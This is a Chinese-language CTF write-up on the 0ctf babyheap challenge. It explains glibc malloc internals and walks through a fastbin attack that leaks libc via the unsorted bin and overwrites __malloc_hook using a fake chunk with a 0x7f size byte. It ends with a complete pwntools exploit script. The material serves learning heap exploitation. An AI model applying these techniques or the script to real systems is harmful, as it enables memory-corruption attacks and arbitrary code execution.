堆利用系列四:Fast Bin Attack

Fastbin attack

前言

通过一道babyheap例题讲解fastbin attack,同时会涉及到一个泄露libc地址的方法,绕过GOT写保护劫持PC的方法,一个绕过Fastbin 大小检测的方法,还有对glibc相关源码的一些讲解。

涉及到的glibc的知识

要把这道题做出来,需要对下面的基础知识有所了解。

源码中MIN_CHUNK_SIZE大小是多少

MIN_CHUNK_SIZE指的是一个CHUNK最小为多大

1
#define MIN_CHUNK_SIZE        (offsetof(struct malloc_chunk, fd_nextsize))

是fd_nextsize在malloc_chunk中的偏移,并不是malloc_chunk这个数据结构的大小

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

因为每个chunk都会有prev_size, size, fd,bk这几个成员,但是只有large chunk拥有fd_nextsize和bk_nextsize

MINSIZE

MINSIZE是指用户能够得到的最小的chunk 大小,与MIN_CHUNK_SIZE区别是它要求是对其的,所以是可能大于MIN_CHUNK_SIZE的
但是对于32位和64位的x86类型来说,MINSIZE与MIN_CHUNK_SIZE大小是一样的。32位MINSIZE=MIN_CHUNK_SIZE=16bytes,64位为32bytes。

chunk与用户使用的mem之间的转换

1
2
#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))

MALLOC_ALIGN_MASK

1
#define MALLOC_ALIGN_MASK      (MALLOC_ALIGNMENT - 1)

MALLOC_ALIGN_MASK

1
2
#  define MALLOC_ALIGNMENT       (2 *SIZE_SZ < __alignof__ (long double)      \
? __alignof__ (long double) : 2 *SIZE_SZ)

经过我的测试:
x86 32情况下,__alignof__ (long double)为4
x64 情况下, __alignof__ (long double)为16

所以32位下,MALLOC_ALIGNMENT的值为8,MALLOC_ALIGN_MASK 为7;
64位下MALLOC_ALIGNMENT值为16,MALLOC_ALIGN_MASK为15.

request2size(req)

malloc(req),到底会生成多大的chunk,是需要用 request2size(req)确定

1
2
3
4
#define request2size(req)                                         \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

那么在32位下的req如何转换:
1.首先计算req + 4 + 7是否小于16
2.如果小于16,那么就转换为16
3.如果大于16就转换为(req + 4 + 7) & ~7 就是 (req+11)&0xfff8
自己写了个脚本测试了几个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def request2size(req,word):
sz_32 = 4
sz_64 = 8
mask_32= 7
mask_64 = 15
min_size_32 = 16
min_size_64 = 32
if word == 32:
if (req + sz_32 + mask_32 ) < min_size_32:
return min_size_32
else:
return (req + sz_32 + mask_32 ) & ~mask_32
elif word == 64:
if (req + sz_64 + mask_64 ) < min_size_64:
return min_size_64
else:
return (req + sz_64 + mask_64 ) & ~mask_64

32 位下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
req:0, to:16
req:1, to:16
req:2, to:16
req:3, to:16
req:4, to:16
req:5, to:16
req:6, to:16
req:7, to:16
req:8, to:16
req:9, to:16
req:10, to:16
req:11, to:16
req:12, to:16
req:13, to:24
req:14, to:24

可以看到,如果malloc()的大小小于等于12则最终得到的chunk大小为16

64位下的测试结果

1
2
3
4
5
6
7
8
9
10
req:0x70, to:0x80
req:0x71, to:0x80
req:0x72, to:0x80
req:0x73, to:0x80
req:0x74, to:0x80
req:0x75, to:0x80
req:0x76, to:0x80
req:0x77, to:0x80
req:0x78, to:0x80
req:0x79, to:0x90

可以看到,当我们malloc申请的大小为0x78的时候,最终分配的chunk大小是0x80,这感觉有点违背直觉,因为chunk header就是16个字节,那么分配0x78大小的时候至少chunk应该是0x78 + 0x10 = 0x88,至少应该是0x88,如果考虑16字节对齐的情况下,那么大小应该是0x90才对的?这是一个值得思考的问题,大家可以考虑一下为什么是0x80而不是0x90.

往unsorted bin中插入一个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
     bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}

当free一个合适大小的chunk的时候,会往unsorted bin中插入这个chunk, 插入一个chunk的时候需要对四个指针进行写,分别是该chunk的fd和bk指针,以及前后相邻的两个chunk的一个bk和一个fd指针。

malloc一个在unsorted bin上的chunk

如果unsorted bin有比申请大的chunk,就会直接把它分割,让剩下的chunk加入到unsorted bin 链表中。
具体操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
        remainder = chunk_at_offset (victim, nb);

/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;

/* advertise as last remainder */
if (in_smallbin_range (nb))
av->last_remainder = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

初始化bins

1
2
3
4
5
for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}

0ctf babyheap

题目文件下载地址babyheap

调试

目标是泄露libc的地址,借助的是泄露unsorted bin所在的地址进而推导出其他地址。
因为unsroted bin所在的数据结构是在libc的读写区分配的,因此是可以借助它进行地址泄露的。

泄露unsorted bin地址的方法是把unsorted bin的头部chunk的bk指针给泄露出来。
我们看一个正常的拥有两个元素的unsorted bin的结构

这个头部chunk的bk指针就是指向的是

1
bck->fd = unsorted_chunks (av);

unsorted_chunks(av)这个地址到底是哪里

1
2
3
4
5
#define unsorted_chunks(M)          (bin_at (M, 1))

#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))

av就是main_arena,我们把1代入bin_at得到unsorted_chunks(av)的地址为main_arena->bins - chunk header的大小就是main_arena->top的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

...

static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};

这段代码是在malloc.c文件中中定义的,编译后main_arena就是保存了unsorted bin链表,我们计算一下mchunkptr bins[NBINS * 2 - 2];这个数组相对malloc_state结构的偏移。
首先要确定 mfastbinptr fastbinsY[NFASTBINS];这个长度是多少,要确定NFASTBINS的大小

1
2
3
4
5
6
#define NFASTBINS  (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)

#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)

#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

64位下,SIZE_SZ的值为8, MAX_FAST_SIZE为160,代入request2size(160)得到176, 进一步代入fastbin_index得到NFASTBINS为10
32位下, SIZE_SZ的值为4, MAX_FAST_SIZE为80, 代入request2size(80) 得到88, 进一步代入fastbin_index得到NFASTBINS为10

所以无论在32位还是64位下, NFASTBINS均为10,就是都是有10个mfastbinptr指针,那么总大小就是10*8 = 80
进而得到main_arena->top的偏移为 4 + 4 + 80 = 88=0x58, 在ida的local中定义新的数据结构看下偏移也是0x58

与我们计算的吻合,所以理论上头部chunk的bk指针指向的地址就是main_arena + 88字节的值

为了泄露main_arena + 88这个值,我们首先需要溢出chunk1,使其修改chunk2的prev size和size字段

chunk2的prev size从0x80改为0x180,size从0x101改为0x100,这样可以将chunk1标识为空闲块。
然后再free chunk2,触发错误的后向融合,chunk1连同chunk0和chunk2一起被当做一个大的chunk放到unsorted bin上。

在gdb中观察unsorted bin的情况

可以看到,如我们的预期,unsroted bin中有一个chunk,大小是0x280。

当我们malloc 0xf0之后,会分割这个0x280的chunk,剩下0x180大小的chunk,并且重写unsorted bin的fd和bk以及新的头部chunk的fd bk指针

这个新的unsorted bin链表头部chunk实际上就是我们的的chunk1,而chunk1是可以被我们打印的,因为他没有被我们人为的free。
因此我们可以通过打印chunk1的数据部分泄露他的bk和fd指针内容,由于unsorted bin上只有一个元素,所以bk与fd相等都是指向main_arena+88偏移的地址。
我们利用逻辑打印这个chunk1的内容

1
2
3
>>> leak_address = res.split('\n')[1][0:8]
>>> hex(u(leak_address))
'0x7ffff7fc2b78'

main_arena = 0x7ffff7fc2b78 - 88 = 0x7ffff7fc2b20
我们利用GEF的heap arenas看一下是否相同

1
2
3
gef➤  heap arenas                                                                                     
Arena (base=0x7ffff7fc2b20, top=0x5555557572c0, last_remainder=0x555555757100, next=0x7ffff7fc2b20, ne
xt_free=0x0, system_mem=0x21000)

所以我们已经成功泄露了main_arena+88的地址。我们可以基于此得到任意想要的libc偏移地址。

劫持控制流

由于这个二进制开启了PIE,因此不能通过改写GOT的方式实现控制流劫持。但是我们可以通过改写__malloc_hook这个指针的方式实现控制流劫持。如果 malloc_hook 和free_hook的值存在,则会调用malloc_hook或者free_hook指向的地址。

修改__malloc_hook指针

__malloc_hook在内存中的偏移为mian_arena - 0x10 ,64位情况下。 我们使用fastbin attack实现对这个地址的控制。

fastbin attack原理

  1. 同一个fastbin 链表上有2个空闲的chunk,
1
2
3
Fastbins[idx=1, size=0x30]  ←  Chunk(addr=0x555555757140, size=0x30, flags=PREV_INUSE)  ←  Chunk
(addr=0x7ffff7fc2b20, size=0x0, flags=) [incorrect fastbin_index]
`

我们虽然能够修改fd指针,让他指向一个虚假的chunk,但是由于fast bin内部还是有一个size的检查,会去看这个假chunk的size字段是否就是符合0x30,如果不符合就会报错。所以要想办法让这个size符合我们的fastbin的要求。我们仔细观察malloc_chunk临近内存的值情况

1
2
3
4
5
gef➤  x/gx 0x7ffff7fc2b10
0x7ffff7fc2b10 <__malloc_hook>: 0x0000000000000000

gef➤ x/gx 0x7ffff7fc2b10 -8
0x7ffff7fc2b08 <__realloc_hook>: 0x00007ffff7c83a00

我们通过将这个假的chunk的size指向一个0x7ffff7fc2b08 +5这个地址,这个地方存放值是

1
2
gef➤  x/gx 0x7ffff7fc2b08 +5
0x7ffff7fc2b0d <__realloc_hook+5>: 0x000000000000007f

这个值是可以通过长度检测的

1
2
3
4
5
6
7
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
...

fastbin_index(0x7f)的返回值为5,因此我们只需要在fastbin chunk index为5的链表上面构建就行了,5所对应的fast bin chunk的大小为0x70.

那么这个假chunk的地址就是0x7ffff7fc2b08 + 5 - 8 = 0x7ffff7fc2b05

通过连续malloc(0x60)两次,然后释放第二个malloc的chunk,得到下面的内存布局

我们通过溢出ck0,覆盖ck1的fd指针,

0x7ffff7fc2af5 - 8 = 0x7ffff7fc2aed
0x7ffff7fc2af5: 0x000000000000007f

1
2
Fastbins[idx=5, size=0x70]  ←  Chunk(addr=0x555555757180, size=0x70, flags=)  ←  Chunk(addr=0x7ffff7fc2afd, 
size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← [Corrupted chunk at 0xfff7c83e20000010]

现在我们把假的chunk添加到了fast bin上了,并且我们把size修正好了,使他能够绕过检测。
我们现在连续malloc(0x60)两次就可以得到一个指向 0x7ffff7fc2aed+16 = 0x7ffff7fc2afd的指针,通过0x7ffff7fc2afd覆盖0x7ffff7fc2b10(__malloc_hook).

我们覆盖的值可以为system函数的地址,通过main_arena泄露的地址,先确定system函数地址为0x7ffff7c43390

观察内存值可以发现, 我们已经成功修改了_malloc_hook的值

1
2
gef➤  x/gx &__malloc_hook
0x7ffff7fc2b10 <__malloc_hook>: 0x00007ffff7c43390

我们再确定/bin/sh字符串的地址,进而在调用malloc的时候,直接将这个参数传进去就行了
确定/bin/sh的地址为0x7ffff7d8ad57
但是后来发现这个二进制对长度是有限制的,只截取8个字符,所以我们不能用这种办法。

那就只能在二进制中直接找execve(‘/bin/sh’)的地方了,然后把这个地址写到我们的__malloc_hook中就行了

我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

target = process("./babyheap_long", env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("babyheap_long")
libc = ELF("./libc.so.6")

recv_str = target.recv()
print recv_str

# I/O Functions
def allocate(size):
target.sendline("1")
target.sendline(str(size))
print target.recv()

def write_data(index, size, data):
target.sendline("2")
target.sendline(str(index))
target.sendline(str(size))
target.send(data)
print target.recv()

def remove(index):
target.sendline("3")
target.sendline(str(index))
print target.recv()

def view(index):
target.sendline("4")
target.sendline(str(index))
#print "pillar"
leak = target.recv()
return leak


allocate(0xf0)
allocate(0x70)
allocate(0xf0)
allocate(0x30)

remove(0)
remove(1)

allocate(0x70)

write_data(0,0x80,'A'*0x70 + p64(0x180) + p64(0x100))

remove(2)

allocate(0xf0)

u = make_unpacker(64, endian='little', sign='unsigned')
res = view(0)
leak_address = res.split('\n')[1][0:8]
print(hex(u(leak_address)))


allocate(0x60)
allocate(0x60)

remove(4) ## make heap layout

write_data(2,0x78,'A'*0x68 + p64(0x70) + p64(0x7ffff7fc2aed))


allocate(0x60)
allocate(0x60) ## get the ptr to control malloc_hook

system_addr = 0x7ffff7c43390
write_data(5,19 + 8,'A'*19 + p64(system_addr))

allocate(0x7ffff7d8ad57) # trigger system

参考

  1. https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html
  2. https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
  3. https://seanachao.github.io/2020/07/13/hook%E5%8A%AB%E6%8C%81/
  4. https://blog.csdn.net/qq_29343201/article/details/66476135

我的原图